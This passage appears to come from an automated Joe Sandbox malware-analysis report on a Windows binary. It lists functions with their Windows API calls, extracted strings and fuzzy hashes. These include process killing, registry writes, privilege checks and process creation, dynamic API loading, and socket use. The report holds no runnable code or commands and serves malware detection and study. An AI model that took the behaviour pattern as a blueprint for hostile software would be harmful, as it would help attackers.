Instruction Fuzzy Hash: 8F03D1B0D056A88BDB668F28C881BD9FBB1BF98304F1482D9D94DA7251EB315BC5CF44

Function 06D2FE50 Relevance: 46.1, APIs: 20, Strings: 6, Instructions: 627libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 06D3018A
GetProcAddress.KERNEL32(?,?), ref: 06D301A4
GetModuleHandleA.KERNEL32(?), ref: 06D303DF
GetProcAddress.KERNEL32(?,?), ref: 06D303F9
OpenProcess.KERNEL32(00000040,00000000,?), ref: 06D3040D
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000), ref: 06D30499
CloseHandle.KERNEL32(00000000), ref: 06D304F3
CloseHandle.KERNEL32(00000000), ref: 06D30539

Strings

File, xrefs: 06D3055A
J'tq, xrefs: 06D30096
C{iR, xrefs: 06D301D7
Dcu~, xrefs: 06D30598
Vey~, xrefs: 06D2FEAC
J'tq, xrefs: 06D302EE

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcProcess$CurrentOpen
String ID: C{iR$Dcu~$File$J'tq$J'tq$Vey~
API String ID: 1954672981-4060279239
Opcode ID: 25c503f149d1aefe07958b174a6ad9d30eada50cfe9e0f0f993b5c99bd70e46e
Instruction ID: 410b0b50e675acf9eb0e37aeccf69864448fcdd13f1726e4da942a6546cddfc9
Opcode Fuzzy Hash: 25c503f149d1aefe07958b174a6ad9d30eada50cfe9e0f0f993b5c99bd70e46e
Instruction Fuzzy Hash: F6721274D052A88BDB66CF68C884BEDBBB1AF58300F1481D9E989B7351EB305AC5CF51

Function 06D48F60 Relevance: 39.0, APIs: 13, Strings: 8, Instructions: 2232threadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 06D472F0: GetCurrentThreadId.KERNEL32 ref: 06D47345

GetCurrentThreadId.KERNEL32 ref: 06D48FE6
socket.WS2_32(00000017,00000001,00000006), ref: 06D496F4
WSAGetLastError.WS2_32 ref: 06D49714
GetCurrentThreadId.KERNEL32 ref: 06D49720

Strings

uFSV, xrefs: 06D4A3EE
uFSV, xrefs: 06D4B85A
uFSV, xrefs: 06D4B588
uFSV, xrefs: 06D4B373
uFSV, xrefs: 06D49DAC
uFSV, xrefs: 06D4901C
uFSV, xrefs: 06D49756
uFSV, xrefs: 06D4AA44

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLastsocket
String ID: uFSV$uFSV$uFSV$uFSV$uFSV$uFSV$uFSV$uFSV
API String ID: 1753251534-1828427799
Opcode ID: 68fd0f433d0914eb96724a2c0b416bbda0b97bfbd32558175ed22df32cd05497
Instruction ID: ebd1c2fa5480e7fd5747dda69a761c32a9f3c594d1ccb93f1cd0b9e7fe05fa62
Opcode Fuzzy Hash: 68fd0f433d0914eb96724a2c0b416bbda0b97bfbd32558175ed22df32cd05497
Instruction Fuzzy Hash: 9553EEB4D056A88BDB65CF28C890BE9BBB1BF99304F1482D9D94CA7251EB315EC1CF50

Function 06D45AB0 Relevance: 36.2, APIs: 15, Strings: 5, Instructions: 1170threadCOMMON

Download Yara Rule

APIs

Part of subcall function 06D23230: std::_Throw_Cpp_error.LIBCPMT ref: 06D23251
Part of subcall function 06D23230: std::_Throw_Cpp_error.LIBCPMT ref: 06D23285

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 06D45C56
GetLastError.KERNEL32 ref: 06D45C88
GetCurrentThreadId.KERNEL32 ref: 06D45C94
shutdown.WS2_32(?,00000002), ref: 06D4716D
closesocket.WS2_32(?), ref: 06D47177

Strings

uFSV, xrefs: 06D460DE
uFSV, xrefs: 06D467E7
uFSV, xrefs: 06D45CCA
uFSV, xrefs: 06D46BE3
cqyi, xrefs: 06D46FA4

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateCurrentErrorEventLastThreadclosesocketshutdown
String ID: cqyi$uFSV$uFSV$uFSV$uFSV
API String ID: 2868083077-2014735337
Opcode ID: 4f82a212ce1aa4a485acb0ea123a55a5de882970519e9f706aa83fe30545cc01
Instruction ID: b8f77eecdb5f94ac0c20bc2920f2cff25174ee98c5853be0ad15b8bebeb03315
Opcode Fuzzy Hash: 4f82a212ce1aa4a485acb0ea123a55a5de882970519e9f706aa83fe30545cc01
Instruction Fuzzy Hash: FEE2DFB0D056A88BDB66CF28C8817EDBBB1BF99304F1082D9D94DA7251EB305AC5CF54

Function 06D2C760 Relevance: 33.9, APIs: 14, Strings: 5, Instructions: 644registryprocessstringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,?), ref: 06D2CD2B
RegQueryValueExA.ADVAPI32(?,?,00000000,00000004,00000000,00000004), ref: 06D2CD7E
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,00000002,00000004), ref: 06D2CDAA
GetSystemWindowsDirectoryA.KERNEL32(?,00000200), ref: 06D2CE04
lstrcatA.KERNEL32(?,?,?,?,?), ref: 06D2CF17
IsUserAnAdmin.SHELL32 ref: 06D2CF88
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 06D2D1CE
CloseHandle.KERNEL32(?), ref: 06D2D1F7
CloseHandle.KERNEL32(?), ref: 06D2D204

Strings

Qhbx, xrefs: 06D2C9BD
Jfbx, xrefs: 06D2CE2B
JVDo, xrefs: 06D2D261
DhbZ, xrefs: 06D2C7CD
nG1e1kO9AWhMmUV, xrefs: 06D2CFA1, 06D2D08A

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CloseHandleValue$AdminCreateDirectoryOpenProcessQuerySystemUserWindowslstrcat
String ID: DhbZ$JVDo$Jfbx$Qhbx$nG1e1kO9AWhMmUV
API String ID: 829427948-1253298936
Opcode ID: af30aced6de43d3216e96cf4de899e72c0397cf9046eaf70a9a9a706ee3daff9
Instruction ID: d1f0d200785ec8635052df8088ff46d353909f3d976271f20480b05ccf6d7c92
Opcode Fuzzy Hash: af30aced6de43d3216e96cf4de899e72c0397cf9046eaf70a9a9a706ee3daff9
Instruction Fuzzy Hash: 25820174D052A88BDB66CF68C884BEDBBB1AF59304F1081D9D98CA7251EB305AC5CF50

Function 06D2BAC0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 346fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 06D2BB94
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,00000000,?,?,?), ref: 06D2BD81
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 06D2BD8B
FindNextFileA.KERNEL32(000000FF,?,?,?,?,?,?,00000000,?,?,?), ref: 06D2BE6D
FindClose.KERNEL32(000000FF,?,?,?,?,?,00000000,?,?,?), ref: 06D2BE80
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 06D2BE86
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000000,?,?,?), ref: 06D2BF40
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 06D2BF4A

Strings

\*.*, xrefs: 06D2BB46

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: File$ErrorFindLast$Attributes$CloseFirstNext
String ID: \*.*
API String ID: 2998857723-1173974218
Opcode ID: c7f11c742e031a9c7c73986efda8042cdc893978849474165f347e8406dae389
Instruction ID: 482b742c2b2f814846ad73bd30f617a0d97690282465ea85981048ddea45e404
Opcode Fuzzy Hash: c7f11c742e031a9c7c73986efda8042cdc893978849474165f347e8406dae389
Instruction Fuzzy Hash: 8F023770D00269DFDBA4DFA9C894BEDBBB1EF58304F108199D469AB290DB705E85CF60

Function 06D2B2C0 Relevance: 18.5, APIs: 12, Instructions: 478fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 06D2B4E0
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 06D2B69B
FindNextFileA.KERNEL32(000000FF,?), ref: 06D2B95D
FindClose.KERNEL32(000000FF), ref: 06D2B970
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 06D2B976

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Find$File$CloseCreateDirectoryErrorFirstLastNext
String ID:
API String ID: 2993551283-0
Opcode ID: bb2b8d878f46df5109e57ede98b456558d4cb36cf0bb84cdbf8c3d3ae358d488
Instruction ID: 35337a101d1c96785e050ffbc45cd6a2db80e3910c12314f15124b09248a7bb3
Opcode Fuzzy Hash: bb2b8d878f46df5109e57ede98b456558d4cb36cf0bb84cdbf8c3d3ae358d488
Instruction Fuzzy Hash: 67323870C04268DFDBA5EBA4CC90BEDBBB4AF58304F5481D9D459AB291DB305E88CF61

Function 06D57890 Relevance: 15.4, APIs: 10, Instructions: 426libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57910
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D579A4
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57A44
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57AE4
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57B84
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57C24
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57CC4
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57D64
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57E04
GetProcAddress.KERNEL32(06D4D4BC,?), ref: 06D57EA4

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 1815c839646f1d2c872e4c779109db23cf3717c7a04421f217f6b4912451b336
Instruction ID: 326ff1a84d3c103a469475f1e2c13c46e3823ae8a00cb86b336f378c5564e856
Opcode Fuzzy Hash: 1815c839646f1d2c872e4c779109db23cf3717c7a04421f217f6b4912451b336
Instruction Fuzzy Hash: 0522C3B4D05268DFCF54CFA8C890AEEBBB6BF49300F14819AD959A7345D7306A85CF60

Function 06D62EAD Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(06D243A5,00000000,?), ref: 06D62F45
GetLastError.KERNEL32 ref: 06D62F4F
FindFirstFileW.KERNEL32(06D243A5,?), ref: 06D62F66
GetLastError.KERNEL32 ref: 06D62F71
FindClose.KERNEL32(00000000), ref: 06D62F7D
___std_fs_open_handle@16.LIBCPMT ref: 06D63036

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 826fd21be1684cd1da81379045b3b946756f4f941fbb22226870fb87c01f518b
Instruction ID: 69368e67268b203a19c3a3ccdcb8659cc8fd58adef6d193d1a3e1e4eb4bea8cf
Opcode Fuzzy Hash: 826fd21be1684cd1da81379045b3b946756f4f941fbb22226870fb87c01f518b
Instruction Fuzzy Hash: E071B074E00219AFDBA0CF6ADC897A9B7B8BF05310F104259F855E7380DB30DA44CB90

Function 06D2F9D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 06D2FBD9
GetProcAddress.KERNEL32(?,?), ref: 06D2FBEA
CreateEventA.KERNEL32(00000000,00000001,00000000,?), ref: 06D2FE27
SetEvent.KERNEL32(?), ref: 06D2FE34

Strings

C{iR, xrefs: 06D2FA0D
J'tq, xrefs: 06D2FAFA
Dcu~, xrefs: 06D2FC78

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Event$AddressCreateHandleModuleProc
String ID: C{iR$Dcu~$J'tq
API String ID: 2341598627-2702705618
Opcode ID: 27ba0105d6deb864df98903bf35f99398f73ac2db2a02d9b2e79dbede2d778c0
Instruction ID: 172399244d38756f4b0e9eb6f6033a910e38bf31b31f2589a07f67d1f4b0ff2d
Opcode Fuzzy Hash: 27ba0105d6deb864df98903bf35f99398f73ac2db2a02d9b2e79dbede2d778c0
Instruction Fuzzy Hash: 60E1F374D082989BDB26CFA8C881BEDFBB1AF59304F1481DAD988B7315E7305A85CF51

Function 06D324B0 Relevance: 11.8, APIs: 4, Strings: 2, Instructions: 1252libraryloaderCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 06D334DB
__aulldiv.LIBCMT ref: 06D33765
GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,00000000,00006C23,00000000), ref: 06D33A71
GetProcAddress.KERNEL32(?,?), ref: 06D33A8B

Strings

y, xrefs: 06D333FC
Ws2_32.dll, xrefs: 06D33A6C

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: __aulldiv$AddressHandleModuleProc
String ID: Ws2_32.dll$y
API String ID: 3748425447-3152010109
Opcode ID: 5d1e3363ba94c36c7649fbd5a883638473359428cd12b695f83d231ba5324bb7
Instruction ID: 4f75f4f6a372d50697886ea1e4a0f309b06bb125b71f79f2f68a26174eeacf9d
Opcode Fuzzy Hash: 5d1e3363ba94c36c7649fbd5a883638473359428cd12b695f83d231ba5324bb7
Instruction Fuzzy Hash: 24E2BDB4E052698FDB69CF19C994BEEBBB1AF49300F1081DAD859A7351D7309E81CF90

Function 06D29130 Relevance: 10.6, APIs: 7, Instructions: 83processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 06D29147
Process32First.KERNEL32(000000FF,00000128), ref: 06D2916F
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 06D291F2
TerminateProcess.KERNEL32(00000000,00000000), ref: 06D29207
CloseHandle.KERNEL32(00000000), ref: 06D29211
Process32Next.KERNEL32(000000FF,00000128), ref: 06D29222
CloseHandle.KERNEL32(000000FF), ref: 06D29234

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 0bae0b2d10511616279aa67b0ab91c422bcdc2f6e8a4abf0d4d38b89100987aa
Instruction ID: ded9fdd575a3d317d436b61d74aa86e0bd976f35c4b07280658bca35fda6f9b6
Opcode Fuzzy Hash: 0bae0b2d10511616279aa67b0ab91c422bcdc2f6e8a4abf0d4d38b89100987aa
Instruction Fuzzy Hash: F0310AB4D0021D9FDB54DFA6C858BFEBBB9AF48304F104159E515AB380D7359A85CFA0

Function 06D81714 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 06D8192B

Strings

1#IND, xrefs: 06D81819
1#INF, xrefs: 06D8184A
1#QNAN, xrefs: 06D81827
1#SNAN, xrefs: 06D81820

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: a95cc5d2341c1f97bbf5a63b4f23b549383e3abf3656c9566abc28ac1f6a75dd
Instruction ID: 15cf87afd670dc663012c79ccc751c050a0bb93c98f1990970ca972c847f842f
Opcode Fuzzy Hash: a95cc5d2341c1f97bbf5a63b4f23b549383e3abf3656c9566abc28ac1f6a75dd
Instruction Fuzzy Hash: 5AD22971E082298FDBA5DF28CD487EAB7B5EB44305F1441EAD44DE7240E778AA85CF81

Function 06D80121 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,06D80433,00000002,00000000,?,?,?,06D80433,?,00000000), ref: 06D801BA
GetLocaleInfoW.KERNEL32(00000000,20001004,06D80433,00000002,00000000,?,?,?,06D80433,?,00000000), ref: 06D801E3
GetACP.KERNEL32(?,?,06D80433,?,00000000), ref: 06D801F8

Strings

OCP, xrefs: 06D80175
ACP, xrefs: 06D8013F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 7eb9a5151c7286e5f31c026cb87312bf12a144087bd0738900d815ccf7a4bb8c
Instruction ID: 38ea01f9dc17a9ecfae4e3d37e33e2777cd5b9f03f8f1ba95c74ef2fc91a02fc
Opcode Fuzzy Hash: 7eb9a5151c7286e5f31c026cb87312bf12a144087bd0738900d815ccf7a4bb8c
Instruction Fuzzy Hash: 7C218372F14105AEEBB4AF24CD0DAAB73A7EB45A78B468024E949D7205E732D948C390

Function 06D30B90 Relevance: 8.7, APIs: 5, Instructions: 1155processCOMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMTD ref: 06D30C05
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 06D30C2B
Process32First.KERNEL32(?,00000128), ref: 06D30C45
Process32Next.KERNEL32(?,00000128), ref: 06D30C62

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32std::exception::exception
String ID:
API String ID: 685553215-0
Opcode ID: affe85482e5ad405740da3ad31b7787676fce202a2eece924d0ab8c0cc554b22
Instruction ID: b2cf0565bf283bf1d0b3ec3f8c5c12be79a807991ade9d595e462410ef170f0c
Opcode Fuzzy Hash: affe85482e5ad405740da3ad31b7787676fce202a2eece924d0ab8c0cc554b22
Instruction Fuzzy Hash: 1CE20174D096A88BDB66CF689C806DDFBB1AF69200F1481DAD98CB3251EA305FC5CF51

Function 06D2C480 Relevance: 7.7, APIs: 5, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CreateLevelSafer
String ID:
API String ID: 3489925794-0
Opcode ID: 3ed376d9e08dc7be639d16f20857be489902fcf88cb1e623bb823dcf94c8d3be
Instruction ID: b10603d99008d5414624647f1ebaf3cd186a13fe939a2af87542a54f91c4fbab
Opcode Fuzzy Hash: 3ed376d9e08dc7be639d16f20857be489902fcf88cb1e623bb823dcf94c8d3be
Instruction Fuzzy Hash: BEA134B4D04259DFDB54CFA9C894BEEBBB0BF48304F108199E469AB390D7749A45CFA0

Function 06D802FD Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 06D80405
IsValidCodePage.KERNEL32(00000000), ref: 06D80443
IsValidLocale.KERNEL32(?,00000001), ref: 06D80456
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 06D8049E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 06D804B9

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 44dcb032d5435e622b80867fa227e0765b4470911c88a73c1b7cbad4a164bd6d
Instruction ID: a22343c1c21fef26b3b414d8828bd34a1a956ec8b150f341b73f36b8af695b75
Opcode Fuzzy Hash: 44dcb032d5435e622b80867fa227e0765b4470911c88a73c1b7cbad4a164bd6d
Instruction Fuzzy Hash: 38516071E00209AFDB90EFA9DC48EBE77B8EF58700F044569E915EB150E7B09948CBA1

Function 06D7F988 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

GetACP.KERNEL32(?,?,?,?,?,?,06D75DA1,?,?,?,00000055,?,-00000050,?,?,00000006), ref: 06D7FA47
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,06D75DA1,?,?,?,00000055,?,-00000050,?,?), ref: 06D7FA7E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 06D7FBE1

Strings

utf8, xrefs: 06D7FB50

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 014f1e2ff7c42cf988163c677ca8ec360fd4a7097360ae3d5db014f058cfdbb5
Instruction ID: 60752b82daf9e8125091eaf612b21ed8def5a0eaacfab9167a09d6af8036c887
Opcode Fuzzy Hash: 014f1e2ff7c42cf988163c677ca8ec360fd4a7097360ae3d5db014f058cfdbb5
Instruction Fuzzy Hash: CB71E471A00306AEEBB4AB75DC55FBA73A8EF05710F10442AE965D7180FB70E940C6B3

Function 06D72840 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc64d6eff05cabe113e260051d5a2abf1413c049985901c4e7188c8d6a7a0695
Instruction ID: 294cc96c5ee279b4cdb78c17526ef4882152210b9c55b328c97ae7ff7b96ed1b
Opcode Fuzzy Hash: cc64d6eff05cabe113e260051d5a2abf1413c049985901c4e7188c8d6a7a0695
Instruction Fuzzy Hash: 79023A71E012599FDB54CFA9C980AAEFBF1FF48314F248269D919E7340E731AA41CB91

Function 06D66014 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 06D66020
IsDebuggerPresent.KERNEL32 ref: 06D660EC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 06D66105
UnhandledExceptionFilter.KERNEL32(?), ref: 06D6610F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 4112cb24d1c796eff1a639cd0a3d32610d40bca56e0496e3f008784366f7bd22
Instruction ID: 9e8f69e6e631950e6dafe7a168f5aa611a95398dddbbdd4a3f08bc6d0ac2de82
Opcode Fuzzy Hash: 4112cb24d1c796eff1a639cd0a3d32610d40bca56e0496e3f008784366f7bd22
Instruction Fuzzy Hash: 1F3125B5D1121C9BDF60EFA6D9597CDBBB8EF08300F1041AAE50CAB240EB759A84CF55

Function 06D44370 Relevance: 5.8, APIs: 3, Instructions: 1294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1100c86cf0c64f3560d859ab0481ffbd6256a9caee84db191f9bcb88c939424c
Instruction ID: 12ad48c798369fb19083e487bb9743dc2471aea2a3a1e4b2cf49be5fa6c55375
Opcode Fuzzy Hash: 1100c86cf0c64f3560d859ab0481ffbd6256a9caee84db191f9bcb88c939424c
Instruction Fuzzy Hash: 59E2CCB4E052698FDB65CF18D894BEEBBB1AF89304F1481EAD449A7341D7309E85CF90

Function 06D86276 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C), ref: 06D86287
GetSystemInfo.API-MS-WIN-CORE-SYSINFO-L1-1-0(?), ref: 06D862A2

Strings

D, xrefs: 06D86296

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 7befe97ff2509b9bd6d5adb70b14882fc077c98db94091a5daffb476feb8cfdd
Instruction ID: 6837dc6dcb51e6d0ee2710a5fc6b7b87bf1ae026e5d5cd74f55923aa39d8a26d
Opcode Fuzzy Hash: 7befe97ff2509b9bd6d5adb70b14882fc077c98db94091a5daffb476feb8cfdd
Instruction Fuzzy Hash: 8101FC32A101596FDF24DF59CC09BED7BAAAFC4334F0CC120AD59DB244D638D901C680

Function 06D62CC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,?,?,06D22459,?,00000000,?,?,?,?,?,?,06D86E2D), ref: 06D62CDA
FormatMessageA.KERNEL32(00001300,00000000,?,?,00000000,00000000,00000000,?,?,06D22459,?,00000000), ref: 06D62D01

Strings

!x-sys-default-locale, xrefs: 06D62CD5

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 9993c809533619e944f963df030261f4fe13c1a96f23f3bc2d187e32e186effc
Instruction ID: d992663dd6d77c31b31cc5fd59b404f54680e74ba3f604c13770634927696e8c
Opcode Fuzzy Hash: 9993c809533619e944f963df030261f4fe13c1a96f23f3bc2d187e32e186effc
Instruction Fuzzy Hash: 6BF01C75510108BFEB549B9ACC1AEBB77ADEB48764B004019FA42DA140E6A0AF00D7A0

Function 06D7FDA5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

